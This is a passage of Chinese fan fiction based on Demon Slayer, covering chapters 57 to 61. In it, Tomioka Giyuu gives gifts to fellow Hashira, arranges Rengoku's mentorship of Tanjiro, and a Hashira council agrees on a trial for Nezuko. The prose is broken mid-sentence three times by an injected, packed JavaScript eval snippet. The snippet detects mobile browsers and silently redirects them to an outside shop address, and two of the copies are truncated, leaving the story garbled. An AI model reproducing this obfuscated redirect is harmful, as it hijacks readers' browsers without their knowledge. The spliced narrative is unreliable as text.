而日之呼吸,将这一理想化作了现实。 也难怪炼狱的父亲会丧失信心,更抵触所谓的天才。 富冈义勇动了动身体,换了一个更舒服的姿势。 不过他不在乎。 天才也好,普通人也罢。付出的努力从来都不是白费的,救下的人也都是有意义的。 只要问心无愧,足以。 虽然如此,但还是要把灶门炭治郎会使用日之呼吸的事保密。 富冈义勇忽然有些不甘心地睁开眼。 如果想要让灶门炭治郎使用日之呼吸的事顺理成章,就得拜托炼狱杏寿郎教导灶门炭治郎。 但这是他的师弟,怎么都不想拱手让人。 富冈义勇叹了口气。 算了,总归日之呼吸在战斗中会更加实用,就让给炼狱吧。 他靠在墙上,放松着身体,重新闭上眼。 57.第 57 章 富冈义勇舒舒服服泡完澡,拿毛巾擦干了头发上和身上的水。他吹干头发,难得没把头发扎起来,任由长发披散在身后。 富冈义勇伸了个懒腰,慢慢晃到厨房开始做吃的。他不是很想动,也不打算做很复杂的东西,只煮了一碗面出来。 等吃完饭,洗好碗,富冈义勇环视着屋子。 很久没住人,房间里积了不少灰。 他打了个哈欠,往卧室走去。 明天打扫一下家里,再添置一些东西吧,屋里有些显得太空了。 等宽三郎回来的时候,富冈义勇已经铺好床,准备休息了。 “宽三郎,几位柱最近有时间吗?我想去给他们送些东西,再找炼狱说些事情。”富冈义勇躺在被子里,闭着眼睛问宽三郎。 宽三郎飞到他的身侧:“几位柱都去执行任务了,要过几天才会回来。” 富冈义勇睁开眼,皱眉问道:“全部去柱都执行任务了?” 宽三郎默然,扭头不去看他:“是的。” “不叫我?”富冈义勇的困意散了几分。 宽三郎直接背过去身子,没有回答。 富冈义勇叹气,翻了个身,将被子盖好:“好,我知道了。明天先把家里打扫打扫吧,等他们回来,再告诉我一声。” “宽三郎,你有没有喜欢的东西,往家里买一些吧。” “还可以再买些花回来,茑子姐姐平时很喜欢养花。” “厨房的餐具也可以买一些不同样式的,平时可以换着用。” 富冈义勇的声音越说越小。 宽三郎悄悄扭头看他,只看到富冈义勇的后脑勺。他轻翅轻脚地走过去,探头一看,就发现富冈义勇已经睡着了。 宽三郎松了口气,关了灯,落到富冈义勇的身侧和他一起休息。 晚安,义勇。 大扫除是一件很费事费力的工作。 扫尘,擦拭,清洗。 富冈义勇还准备添置些东西,一些房间的布置也要进行修改。 宽三郎干不了活,但可以帮富冈义勇出主意,和他一起商量东西该怎么放,或者需要买些什么。 空空荡荡的房子,终于有了生活的气息。 富冈义勇前前后后忙活了几天,总算把房子收拾好了。 这时候,宽三郎告诉他几个柱都执行完任务回来了。 面对富冈义勇的凝视,宽三郎只能沉默地移开视线。 他是乌鸦,更不想被主公罚去喂鱼。 富冈义勇移开视线,缓缓道:“好,我知道了。” 现在正是中午饭点,等吃过饭再去买东西找人吧。 富冈义勇这次没有自己做,而是出去吃的,去的还是那家面馆。 店主看到他的时候很激动,用力地拍了拍他的肩膀:“没事就好,没事就好。” 一年多没见过富冈义勇,店主总担心他出了什么事。现下又看见他,心里说不出的开心。 “想吃什么?我来给你做。”店主爽朗地笑着。 富冈义勇看了看菜单,见上面多了一些没见过的面,就随机选了一个。 这家店的面他几乎都吃过,都很好吃,他都喜欢。 “好!你在这等着,我这就去给你做,依旧管饱。哈哈哈哈哈哈。”店主一直担忧的心终于放下,整个人都轻松下来,煮面都感觉更有干劲了。 富冈义勇面容平静,找了个空地坐着,宽大的羽织将腰间的日轮刀遮盖住。 在和童磨一战后,羽织破损严重,是蝶屋的小护士们一点点修补起来的。 她们修补得很好,富冈义勇很感谢她们,只是奈何他被禁足,想送什么东西也送不了。 富冈义勇这次出门,除了去找炼狱杏寿郎商讨事情,还准备买些东西送人。 他之前养病那么久,蝶屋的医护人员都很照顾他,还有其他几个柱都经常过来帮他恢复状态。 他很想买些东西作为谢礼。 富冈义勇有给姐姐买礼物的经验,吃完饭买了不少漂亮的发饰和宝石,还买了很多好吃的点心。 他先去了宇髄天元的家,将一袋子宝石给了他。 宇髄天元正好在家,看着一脸认真的富冈义勇,他无奈一笑,到底是收下了宝石。 “后面再出任务,可要小心点了。”宇髄天元揉着富冈义勇的脑袋。 富冈义勇表情不变,依旧很平淡:“现在我也出不了任务,不会有事的。” 现在需要柱参与的任务都不叫他了,他能有什么事。 宇髄天元手上揉他脑袋的动作更快了。 这小子。 找完宇髄天元,富冈义勇去了甘露寺蜜璃的家里。 甘露寺蜜璃很喜欢研究甜点,富冈义勇就买了些材料和现成的点心给她,当然还有樱花饼。 甘露寺蜜璃见到富冈义勇的时候很是开心,脸上挂满了笑意,很是干脆地就收下了礼物,并邀请他进家里,想要请他吃甜点。 富冈义勇摇摇头拒绝了,说自己还有其他地方要去,改天再来打扰。 他有意无意地问了句:“甘露寺,你们前几天去忙什么了?” 甘露寺蜜璃乐呵呵地将东西抱住,挥手和富冈义勇告别:“富冈先生,路上小心。” 她是绝对不会说漏嘴的! 下一个地点是伊黑小芭内的家。伊黑小芭内对吃东西的欲望很小,但对海带丝情有独钟。富冈义勇就买了好多海带丝给他,还给镝丸买了不少口粮。 “……”伊黑小芭内看着手里的东西,又看着富冈义勇那过分纯净的双眼,最后收下了东西。 “富冈,我确实很讨厌你之前的性格,但现在的你,看上去好多了。”伊黑小芭内说道。 富冈义勇浅浅地弯了下唇:“嗯。我也觉得现在这样很好。” 血色的过去变成了最寻常的雪夜。 他不再害怕,也不再悲伤。 他会好好地活下去,过好每一天。 富冈义勇知道不死川实弥喜欢抹茶和萩饼,就买了一些送他。 不死川实弥别别扭扭地收了下来,摸着头问他:“主公和我说了,说他把装有我血液的试管交给你了。那个变成鬼的女孩不需要,你现在也用不上,就直接打碎丢掉吧。” 富冈义勇不解地看他:“为什么我会用不上?我已经想好用处了。” 不死川实弥立马瞪大眼看他:“你想干什么?先说好,现在你可不允许去杀鬼。拿我的血液去引诱恶鬼出现是我干的事,不是你能做的。” 富冈义勇恍然:“原来还能这样干。” “……”不死川实弥。 看着不死川实弥有些崩溃的样子,富冈义勇难得坏心眼地笑笑:“血液我另有用处,不会害你去喂鱼的。” 不死川实弥怀疑地看着他:“你想干什么?” 富冈义勇眨了眨眼,双眼纯净又无辜:“等最终选拔召开柱合会议的时候,我会和你们商量,不会擅自行动的。” 现在还是保密吧。谁让他们先瞒着他的。 他又去不了别的地方,让这几人凑一起烦恼一下也并不是坏事。 不死川实弥攥紧双手,克制着想要揍人的欲.望。 这人的性格怎么还是这么讨厌。 告别不死川实弥,富冈义勇去了悲鸣屿行冥经常训练的瀑布。 悲鸣屿行冥喜欢吃焖好的米饭,但作为礼物就不太合适了。想到悲鸣屿行冥养着一只猫,富冈义勇就买了很多猫可以吃的东西。 “富冈,作为同伴,帮你是我们该做的事,你不必这么客气。”悲鸣屿行冥不想收下礼物,在他看来,他更该感谢富冈义勇。 解开他多年的疑惑,让他明白曾经的自己并非被背叛。 不止是他,其他几个人也都很感激富冈义勇让他们看到逝去之人的灵魂。 这是很大的恩情,宣之于口便显得太轻。 富冈义勇的性子平淡如水,最爱的只有一个萝卜鲑鱼,再加上禁足令,让大家想要为他做些什么都不行。 悲鸣屿行冥想到他们最近在商量的一件事,便打算试探一二:“富冈,听说你前些天回了狭雾山。灶门炭治郎和灶门祢豆子的情况怎么样?” 灶门兄妹的事,主公和他们几位柱都是知道的。 在富冈义勇禁足养伤的这段时间里,他们陆陆续续都去了一趟狭雾山,在鳞泷左近次没发现的情况下,悄悄观察了一段时间兄妹俩。 在鬼杀队与珠世展开合作以来,他们对鬼便没了一直以来的偏见。 富冈义勇回答:“炭治郎尚未完成鳞泷老师定下参加最终选拔的目标,祢豆子还在沉睡,身体状态还算平稳,新取到的血液也移交给珠世小姐了。” “珠世小姐对比了之前的血液样本,猜测在最终选拔前后,祢豆子就可以醒过来了。” 悲鸣屿行冥点点头,这些事他也从主公那里听说了,问出了正题:“他们兄妹加入鬼杀队的事,你有什么安排吗?” 富冈义勇眨眨眼,然后笑着说:“不告诉你们,悲鸣屿先生。我的确有打算,但还不想告诉你们。” 悲鸣屿行冥转动念珠的手停下。 “你们都瞒了我这么久,我自然也要瞒一些事。”富冈义勇说得一本正经,“但请放心,无论我准备做什么,在最终选拔开始的柱合会议上,都会和你们商量。” 悲鸣屿行冥忍不住流下眼泪,原本毫无情绪波澜的他,终于有了鲜活的气息。 富冈义勇趁势说:“悲鸣屿先生,这些就当是给猫咪的礼物,我还要去蝶屋和找炼狱,就先走了。” 悲鸣屿行冥双手合十,轻声叹气,还是收下了礼物。 他知道,要是他不收下,富冈义勇还会变着法地找理由。 听着富冈义勇越走越远的脚步声,悲鸣屿行冥又忍不住流泪。 作为鬼杀队里年纪最大的人,看到富冈义勇如今的小情绪,心里充满了欣慰。 富冈义勇去了蝶屋一趟,将买的点心和发饰交给了蝴蝶香奈惠。 “不知道你们会不会喜欢,就买了很多。”富冈义勇语气如常,“照顾了我一年多,辛苦你们了。” 蝴蝶香奈惠看着快要铺满一桌子的东西,一时竟没有反应过来。 “蝴蝶,我还得去找炼狱,就先走了,这些东西你们拿去分。”富冈义勇也不等蝴蝶香奈惠反应,转身就直接离开了。 蝴蝶香奈惠正准备伸手叫住他, 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“之前在蝶屋,如果我不吹头发就出浴室,是会被你们所有人骂的。”富冈义勇说得认真,也不知道他在抱怨,还是真的想用自己的经历来劝炼狱杏寿郎。 炼狱杏寿郎大声笑起来:“好。那富冈你再等一会,我这就去把头发吹干。” 富冈义勇理所应当地点点头:“不着急。我的时间很多,来找你也是想和你商量一件事。” 炼狱杏寿郎脸上的笑意微微僵住,轻咳了一下,就出门吹头去了。 富冈义勇的时间确实很多。虽然他不能出蝶屋的命令是解除了,但直到新一届新人的特训结束前,他都不被允许去执行任务。 鬼杀队的其他人也照旧不能朝他透露半分有关任务的消息。 富冈义勇不是没有怨念,但完全无力抵抗,只能听任安排。 又过了一会,炼狱杏寿郎回来了,这次他的身上没有了一丝水汽。 “富冈,你要和我说什么事?”炼狱杏寿郎问道。 富冈义勇简单描述了一下灶门炭治郎用出来的火之神神乐,并告诉他这有可能是以祭祀舞蹈形传承下来的日之呼吸。 “日之呼吸吗?”炼狱杏寿郎眉头皱起,“在炎柱手记里有记载使用日之呼吸的初代剑士与鬼舞辻无惨战斗的记录。但有关日之呼吸的具体招式和方法,却并没有提及。” 富冈义勇点头,补充道:“在鬼杀队尚存的资料里,也只提到日之呼吸是所有呼吸法的起源,使用方法却已经失传。” “如果那个少年使用的火之神神乐真的是日之呼吸,他们兄妹加入鬼杀队的事,就更不容易了。”炼狱杏寿郎的表情有些严肃起来。 妹妹变成了鬼,昏迷不醒。 哥哥疑似掌握着失传已久的日之呼吸。 炼狱杏寿郎看向富冈义勇,不禁调笑了一句:“该说不愧是富冈你看上的人吗?” 富冈义勇端起茶杯,神情不变地喝了一口:“我这次来,就是想问问你有没有兴趣等他加入鬼杀队后,收他做继子。” 炼狱杏寿郎倒是没想到这种情况,只以为富冈义勇是来询问他有关日之呼吸的事情。 他不解地看向富冈义勇:“为什么?富冈你不准备亲自教吗?” 富冈义勇低头,看着手中的杯子,澄澈的茶水倒映着他的脸庞。 “炭治郎在使用火之神神乐时,显化出来的元素是红色的火,并非是太阳。想要掩饰,只能让人认为这是炎之呼吸派生出来的新呼吸法。” “水和炎都属于五大呼吸法,水更是无法派生出有关火的呼吸法。” 富冈义勇抬头,看向炼狱杏寿郎:“我没办法帮他隐藏日之呼吸一事。炼狱,你能帮我这个忙吗?” 炼狱杏寿郎叹气:“富冈,有时候真的会觉得你理智得过头。你亲自捡到的人,又挂心这么久,真的甘心让给我吗?” 炼狱杏寿郎不等富冈义勇回答,就径自笑了笑:“你不甘心,但还是会这么做。因为这么做对于灶门少年来说,是最好的选择。” 富冈义勇点头:“我当初选择插手他们兄妹的事,自然要负责到底。” “我答应你就是,但富冈,别总委屈自己。”炼狱杏寿郎道。 富冈义勇眨眨眼:“虽然确实很不甘心,但也说不上委屈。” “我要求炭治郎在最终选拔时只能使用水之呼吸,所以他是我的师弟这一事实并不会变。” 炼狱杏寿郎无奈地笑笑,也不和富冈义勇争辩。 现有的几个柱里,只有蝴蝶香奈惠收了栗花落香奈乎作为继子。其他人不是找不到合适的人,就是看上的那些觉得训练太苦撑不下去。 富冈义勇难得有一个师弟,这个人更是他继子的最佳人选。如果换做其他人,都不会直接拱手让人。 在鬼杀队里,能同时使用多种呼吸法的人并不算稀奇。作为水柱的继子,掌握多种呼吸法,也并非不可能。 只是富冈义勇替灶门炭治郎选择了一条最稳妥,最不会引人非议的路。 水之温柔,无声,无痕。 58.第 58 章 时间匆匆如水流,几个月的时间转瞬而逝。 灶门炭治郎终于完成了鳞泷左近次定下的目标,用刀砍断了石头,只等最终选拔开始。 灶门祢豆子依旧沉睡,尚未苏醒。 而富冈义勇除了要忙最终选拔的各种事务,基本赋闲在家。 每天除了日常训练,就是发发呆,养养花。 如果不是还要忙最终选拔的事,他都要真的以为这个世界上没有鬼的存在了。 最终选拔开始在即,富冈义勇和几个柱都被产屋敷耀哉叫了过去。 柱合会议召开。 几个人齐齐坐在屋里,等待产屋敷耀哉的发言。 这几年里,珠世一直有帮产屋敷耀哉研究缓解病情的药。也是因此,产屋敷耀哉的病得到控制,并没有持续恶化下去。 “按照之前的抽签结果,这次的最终选拔将由香奈惠,杏寿郎,蜜璃,小芭内,你们四位一起负责现场的安全问题。”产屋敷耀哉话语温柔,声音平和而又魅力。 被点到名字的几个人纷纷点头,表示自己明白。 最终选拔的事几个柱都很熟悉,也不需要重复交代。见几个人点头,产屋敷耀哉就看向富冈义勇,缓缓道:“义勇,我听说你有事要在这次的柱合会议上说。” 富冈义勇神色平静:“这件事并不着急。主公,可以先谈谈我的禁足令吗?” 产屋敷耀哉和其他几个人都纷纷轻咳了几声。 “既然说起这件事,先来听我念一份数据吧。”产屋敷耀哉率先恢复神色,从手边放着的报告里,拿出一张,表情严肃,语气认真,缓慢地念着。 这是近一年里,鬼杀队杀掉鬼的数量统计。 普通作乱的鬼,打着找人名号而滥杀无辜的鬼,还有正经追杀人的鬼。 非常详尽。 富冈义勇越听越皱眉,这些鬼的数量比他前几年出任务的时候多了不少。 这只能证明在他伤重时鬼出现得更加频繁了,而且追杀他的鬼数量也不在少数。 如果让他知道这件事,他恐怕真的在蝶屋待不住。 “在几个月前,鬼杀队逐步泄漏富冈义勇出现的消息,八位柱联合数名成员展开伏击,共斩杀上弦鬼两名,下弦鬼四名,普通鬼数十名。” 富冈义勇内心震动,眼睛睁大,抿着唇也微微张开。 什么?! 产屋敷耀哉放下报告,温柔笑笑:“经此一战,鬼开始忌惮追杀富冈义勇一事。在此后几个月,鬼杀队也再未收到鬼追杀富冈义勇的消息。” 富冈义勇嘴唇动了动,却完全不知道该说些什么。 他攥紧放在膝盖上的手。 他知道所有人都在瞒着他一些事,却不知道他们为他做了这么多 坐在他旁边的是宇髄天元,直接伸手揉他的脑袋,华丽地笑着:“我们做得准备很充足,没人受伤。” 炼狱杏寿郎笑着说:“是的。大家齐心协力,将引诱来的鬼全部斩杀了。” “这次行动主公谋划了很久,之前瞒着你也是为了你的安全着想。”不死川实弥扭头看过去,“现下你完全康复,鬼对你的追杀也有了忌惮,之后我们自然不会再瞒你。” 蝴蝶香奈惠温柔道:“富冈先生,之后你就可以自由行动了。” 甘露寺蜜璃也很是开心,“这段时间我憋得可难受了,生怕自己说漏嘴被捉去喂鱼。” 伊黑小芭内跟了一句:“来的是上弦四和上弦五,不得不说上弦鬼确实厉害。富冈,之前你一个人能斩杀上弦之二,是真的厉害。” 时透无一郎点点头:“上弦五对付起来确实很麻烦呢。” 悲鸣屿行冥双手合十,转动着念珠:“富冈,鬼舞辻对你的追杀势必会收敛,但之后执行任务仍需小心。” 听着大家的话,富冈义勇只觉得心绪像是被投入一颗大石头,泛起无边涟漪。 他抬手抵住额头,闭着双眼,抑制着眼角涌上来的热意:“谢……谢谢大家……” 他的身子轻轻颤动着,话语也说得断断续续。 其他人都没说话,脸上带着和善的笑意,等待富冈义勇情绪恢复平静。 富冈义勇做了几下深呼吸,就将情绪快速调整好。 他放下手,抬起头,眼睛里不再掺杂别的情绪:“下面就由我来说一下我对灶门炭治郎和灶门祢豆子的安排。” 收起个人情绪,富冈义勇进入了工作模式。 “灶门炭治郎会参加这次的最终选拔,经过我和鳞泷老师的训练,他一定能通过最终选拔,获得进入鬼杀队的资格。而根据珠世小姐猜测,灶门祢豆子会在最终选拔前后苏醒。” “等到祢豆子苏醒,炭治郎通过最终选拔,我想以水柱的身份,请求鬼杀队对这两人召开审判。” “我会用刀刺伤灶门祢豆子,并将不死川实弥的血液涂抹到我的手腕上,然后靠近受伤的灶门祢豆子。” “什……?!”不死川实弥立马暴走,被旁边的伊黑小芭内捂着嘴按了下来。 什么玩意?!这就是你说的另有打算?! 不死川实弥真的很想揍人啊! 富冈义勇继续道:“如果祢豆子能在受伤情况下,仍未伤人,便说明其理智仍旧存在,并非恶意伤人的恶鬼,可以同意其和其兄长加入鬼杀队。” “如果祢豆子没能控制住行为,伤害了我,我会立即斩杀祢豆子,并引咎辞职,不再担任鬼杀队的水柱,也不再是鬼杀队的成员。” 一时之间,所有人都安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318082|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静了下来,表情都很严肃。 产屋敷耀哉认真听完,点点头,没说什么,而是拿起身边的另一份文件:“在与前水柱鳞泷左近次的定期联系中,他寄来了一封信,内容如下。” “灶门祢豆子,她现在虽然是鬼,但在遇见我门下弟子富冈义勇时,正处于受伤的饥饿状态,却并没有做出伤害人的举动,反而对昏迷的哥哥多有保护。由此可见,虽然变成了鬼,她仍有人类的理智。在这两年里,她更是一直昏睡,未曾伤害过一个人。” “灶门炭治郎是灶门祢豆子的兄长,师承我的门下。作为其老师,我会对他们负责。在此,鳞泷左近次以前水柱的身份向鬼杀队请求,给灶门兄妹一个证明自己的机会。” “如果灶门祢豆子能够证明自己,还望主公和所有成员能接纳她,让其与兄长灶门炭治郎一同加入鬼杀队。” “如果灶门祢豆子无法证明自身无害,我门下弟子富冈义勇自会亲手斩杀她。作为他们的老师,鳞泷左近次也将从此退出鬼杀队,不再是前任水柱以及培育师。” “富冈义勇作为我的弟子,他的行为也将由我一力承担,万望不要将罪责归于他身。” 富冈义勇攥紧手,没想到鳞泷左近次会将责任全部揽在自己身上,当时明明说好他们两个人一起承担。 鳞泷老师…… 他想要开口说不,就见产屋敷耀哉朝他抬手,示意他等等。 产屋敷耀哉拿出新的一张纸,继续念道:“针对灶门祢豆子和灶门炭治郎一事,悲鸣屿行冥、宇髄天元、炼狱杏寿郎、蝴蝶香奈惠、不死川实弥、伊黑小芭内、甘露寺蜜璃、时透无一郎,以柱的身份共同请愿,希望鬼杀队能给灶门祢豆子和灶门炭治郎一个证明自己的机会。如果灶门祢豆子无法证明自身无害,我等会就地将灶门祢豆子格杀,并主动辞去柱位,成为普通成员。” 这是所有柱想了很久,共同给富冈义勇的一份谢礼。 宇髄天元、伊黑小芭内以及甘露寺蜜璃,这三人虽然没有在富冈义勇的帮助下看到已逝之人,但在有人提出这个方案时,他们都选择了同意,并跟着参与进来。 富冈义勇是他们的同伴,他们不该看着他在一条路上独行。 只是柱这一身份而已,失去了也没关系。 当然,他们也并非盲目信任富冈义勇。每个人都曾悄悄看过那两个兄妹,并一直跟进着他们的情况。 富冈义勇信任他们,相信富冈义勇的柱们在了解情况后也选择了相信。 富冈义勇想护着灶门炭治郎和灶门祢豆子,他们便帮他一起。 这次的审判,不再是富冈义勇一个人的付出,而是所有柱的请愿。 所谓柱,就是要支撑同伴,护住后辈,然后为他们开辟前路。 59.第 59 章 富冈义勇深吸一口气,然后呼出来,声音有些喑哑:“你们今天是真的很想弄哭我。” 蝴蝶香奈惠温柔笑笑:“富冈先生如果哭的话,我们都会当没看见呢。” 宇髄天元撩撩头发:“我们可以等一会再来谈这件事。” 不死川实弥扒拉开伊黑小芭内的手,握了握自己的手腕,发出嘎吱作响的声音:“想哭是吧?!来,先和我打一架。我的血是这么让你用的吗?!” “为什么不能这么用?”富冈义勇非常不解,“比起打碎丢掉,这样做最不浪费。” 时透无一郎从不死川实弥身后抱住他,不让他靠近富冈义勇:“富冈,这时候可以不说话的。” 产屋敷耀哉在旁边听着,不得不承认富冈义勇这么做确实挺物尽其用的。 为了不让两个人真的打起来,他叫了一下不死川实弥:“实弥。” 不死川实弥不再挣扎,老老实实地坐了回去,但脸上还带着一些气愤。 他们做了这么多,就是不想富冈义勇出事,所谓的后果也想帮他一起承担。 结果他倒好,还想亲自去试探灶门祢豆子的理智。 他的血是这么用的吗?! “主公,我的血特殊,到时候我直接划开一个伤口靠近灶门祢豆子就是。”不死川实弥率先开口。 产屋敷耀哉没有出声,而是看向了富冈义勇:“义勇,你怎么想?” 富冈义勇与产屋敷耀哉对视:“我很感激大家对我的信任,愿意帮我一起请愿。但我毕竟是那两兄妹的引荐人,不该把大家的安危牵扯进来。” “靠近受伤状态的灶门祢豆子,只能是我,也必须是我。”富冈义勇说得斩钉截铁。 “灶门炭治郎是我的同门,灶门祢豆子是他的妹妹,我理应承担这份责任,也理应承担这份危险。” 富冈义勇表情认真,带着严肃:“作为灶门兄妹的引荐人,我不可能让大家一起承担这份风险与责任。如果祢豆子无法证明自己,还请主公将罪责归于我一人。” “大家和老师为我做得够多了,我真的很感激,更不想大家因为我而受到牵连。” 富冈义勇散去脸上的严肃,换上清浅的笑意:“关于这点,还请当作我的任性,望大家包容。” 甘露寺蜜璃捂脸,虽然不想答应富冈先生,但笑着的他真好看啊。 像是波光粼粼的水面,很赏心悦目。 富冈义勇在成为柱以后,一直冷着脸,没有一点多余的表情。 现下看到他的笑容,还真是难得。 不死川实弥轻啧了一声,扭过头不去看他。 产屋敷耀哉看了看坐着的大家:“关于义勇的说法,大家有什么想法吗?” 众人都保持着沉默。 富冈义勇都这么说了,他们还能说什么,只能想别的办法保证审判时他的安全了。 产屋敷耀哉就当他们默认了,点点头:“想来大家都没有意见。” “在灶门炭治郎通过最终选拔以及灶门祢豆子苏醒后,鬼杀队将应原水柱以及现任所有柱的请求,对兄妹二人召开审判。” “如果灶门祢豆子能够审判,鬼杀队将承认兄妹二人的身份,给予正式队员的资格和待遇。如若不能,现任水柱富冈义勇,将失去水柱身份,并逐出鬼杀队。” 产屋敷耀哉的话语落下,屋里一时陷入了沉寂。 谁都不知道灶门祢豆子能否通过审判。如果她失败了,这份后果,他们谁都不想看到。 知道这件事大家不愿多谈,产屋敷耀哉就直接进行下一项:“那就来谈下一件事吧。” 在上弦鬼相继被杀后,鬼舞辻无惨对十二鬼月更是失望至极,对他们不再抱有希望,躲藏得更加小心了。 也是因这一点,鬼杀队对鬼舞辻无惨的行踪依旧没有半点消息。 尽管如此,鬼与人的战斗,终于不再是以往一边倒的局面。 “在收集到新的上弦鬼血液后,珠世研究的药剂也有了新的突破,或许不需要多久,最终药剂就能研发完成。”产屋敷耀哉看着大家,“现在十二鬼月受损严重,我们也要找新的契机让鬼舞辻无惨现身。” “这期间大家出任务还是要多加小心。”产屋敷耀哉看向富冈义勇,“尤其是义勇,你仍是鬼追杀的目标之一。” 富冈义勇点点头:“我明白的。” 等柱合会议结束,富冈义勇就准备找宽三郎问问有没有任务去做。 禁足令正式解除,他可以执行任务去了。闲了这么久,他的实力都快退步了。 不过或许是天意,富冈义勇还没找到宽三郎,就有三个人朝他跑了过来。 是村田他们三个。 吉本早希一把抱住富冈义勇,大声嚎着:“富冈,我们终于能来见你了!” 远山新名动作慢了一步,就和村田站在一边,语气同样充满悲戚:“之前主公下令,要所有人瞒着你外界的事。我们三个自觉瞒不住你,就只能不去见你。” 村田双手叉腰,颇有些不满:“其实是这两个人觉得瞒不住,我能瞒住的。我想过去看你,结果被这两个人拦住了。” 富冈义勇被抱得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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富冈义勇收回视线,点点头:“好。你们可以随便吃,我请客。” “好哎!”吉本早希恢复正常,跟着在后面走。 “富冈,你一定会越来越好的!”远山新民擦擦眼角的泪,嚎得很大声。 是的,富冈义勇的未来,一定会越来越好。 水在无知无觉中将善意的种子播撒。 经由水的滋润,种子渐渐生根,然后发芽。 有种子感到水的温柔,努力追赶着。 有种子看到水的纯净,持续关心着。 有种子感激水的付出,默默无闻着。 抽枝,张叶,然后开花。 流水不会停下前行的步伐,两岸的风景也随之变化。 穿过茂盛的森林,水来到了沙漠。 熬过苦行的沙漠,水来到了平原。 这里地势平缓,绿植繁多,岸边更是鲜花朵朵。 那是昔日的种子,绽放出的,最美的花。 60.第 60 章 富冈义勇只负责最终选拔召开前的各项事宜,在最终选拔期间本不必亲自过去。但这一届灶门炭治郎会参加,他就还是过去看了一眼。 富冈义勇没有靠近,远远地望了望,见灶门炭治郎的状态很好,就不再担心。 “宽三郎,我的禁足令解除了,现在有任务吗?”富冈义勇摸了摸落在自己肩头的宽三郎。 “就知道义勇你闲不住。”宽三郎蹭了蹭他的手心,“出门前就已经帮你接了任务,走吧,带你去。” 宽三郎振振翅膀,飞了起来,在空中给富冈义勇带路。 在柱进行联合围杀后,鬼的行动就收敛了起来,富冈义勇这次去的地方也是疑似有恶鬼出没。 在一番调查后,富冈义勇发现确实有恶鬼作祟,干净利落地处理掉鬼后,就在宽三郎的指引下去了新的地点。 最终选拔进行了七天,富冈义勇在外面执行任务了六天,最后一天还是宽三郎收到消息,说灶门祢豆子醒了,才往回赶。 灶门祢豆子一醒,没有负责最终选拔的几个柱都不淡定了,直接凑到了一起商量。 “你们谁和我一起去狭雾山看看情况?”不死川实弥耐不住性子,听到这个消息就想往狭雾山走。 “我们都过去就显得太明显了,选两三个人去吧。”悲鸣屿行冥建议。 时透无一郎主动退出:“我留在这里等大家消息吧,我过去也帮不上忙。” 他年纪小,与人或者鬼沟通都没有其他人好。 宇髄天元撩撩头发:“我和不死川去吧。” 时透无一郎没意见,只是提醒他们:“记得拿上取血工具。既然祢豆子醒过来了,血液样本肯定也需要收集。” 人员定下,拿好取血工具以后,不死川实弥和宇髄天元就准备动身。 “不死川,现下赶时间,能跟上我吗?”宇髄天元侧头问道。 不死川实弥肆意笑笑:“虽然单纯比速度确实比不过你,但赶路而已,不会和你差太多,你放心在面前走就是。” 宇髄天元华丽笑笑,就直接不等他,开始朝狭雾山走。 不死川实弥紧追其后。 两个人的速度是九个柱里最快,没有花费太多时间,就赶到了狭雾山。 鳞泷左近次察觉到有人靠近时,就出了房间在门口守着,看到宇髄天元和不死川实弥的身上都穿着鬼杀队队服时,才放下了戒心。 “鳞泷前辈。”宇髄天元在靠近后向鳞泷左近次问好,“我是现任音柱宇髄天元。” “现任风柱不死川实弥。”不死川实弥跟了一句。 鳞泷左近次朝他们点头示意:“辛苦你们赶过来,我是鳞泷左近次。” “我们收到消息,灶门祢豆子醒过来了是吗?”宇髄天元询问情况。 鳞泷左近次点头,让他们两个跟着他进屋里。 现在还是白天,灶门祢豆子只能躲在房间里。 “祢豆子是昨天晚上醒过来的,我观察了一晚上,确认她没有攻击人的欲望后,才去了最近的紫藤花家族,将这件事传信给主公。”鳞泷左近次给他们解释。 宇髄天元和不死川实弥点点头,悬着的心也算是放下一些。 “祢豆子的血液一直在变化,她一直昏睡可能就是在用睡眠来补充自身需要的能量。”宇髄天元分析着,“现下她醒过来,说明她的身体或许不需要食用人的血肉也可以自由活动了。” “一会见到她就知道了。”不死川实弥回道。 昏暗的房间里,灶门祢豆子躺在床上,睁着眼睛,不知道在想什么。 见到有人进来,她坐直身体,歪着头看他们。 或许是为了减少身体的消耗,她现在的样子很是矮小。 不死川实弥蹲下身,与灶门祢豆子对视。 灶门祢豆子的嘴巴还咬着富冈义勇当年帮她做的口枷,她没见过不死川实弥,见他看她,也睁着眼睛与他对视。 “看上去确实和别的鬼不一样,正常鬼在看到我的时候就已经忍不住想要扑过来了。”不死川实弥伸出胳膊,“宇髓,来帮下忙,我姿势不方便。” 鳞泷左近次不解地看着两个人。 宇髄天元用眼神安抚了下鳞泷左近次,然后拍了下不死川实弥的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宇髄天元将不死川实弥拉起来,找鳞泷左近次拿借了绷带,将他指尖的伤口包扎好。 “这点小伤一会就好了。”不死川实弥颇为不在意。 帮他包扎的宇髄天元笑着说:“那我回去和主公聊一聊?” “……”不死川实弥不说话了,老老实实看宇髄天元包扎。 他可不想惹主公生气。 61.第 61 章 富冈义勇在收到灶门祢豆子醒来的消息后就往回赶,在最终选拔快要结束的时候到了紫藤山。 不出意料,灶门炭治郎顺利地通过最终选拔。 在看到富冈义勇时,灶门炭治郎还很有活力地朝他打招呼。 富冈义勇朝他点点头,没有靠近,而是等着负责人宣布最终选拔的结束。 这一次的最终选拔有不少的熟面孔,除了灶门炭治郎,栗花落香奈乎和不死川实弥的弟弟不死川玄弥也都参加了。 栗花落香奈乎现在做事越发有主见,蝴蝶香奈惠就允许她参加了这次的最终选拔。 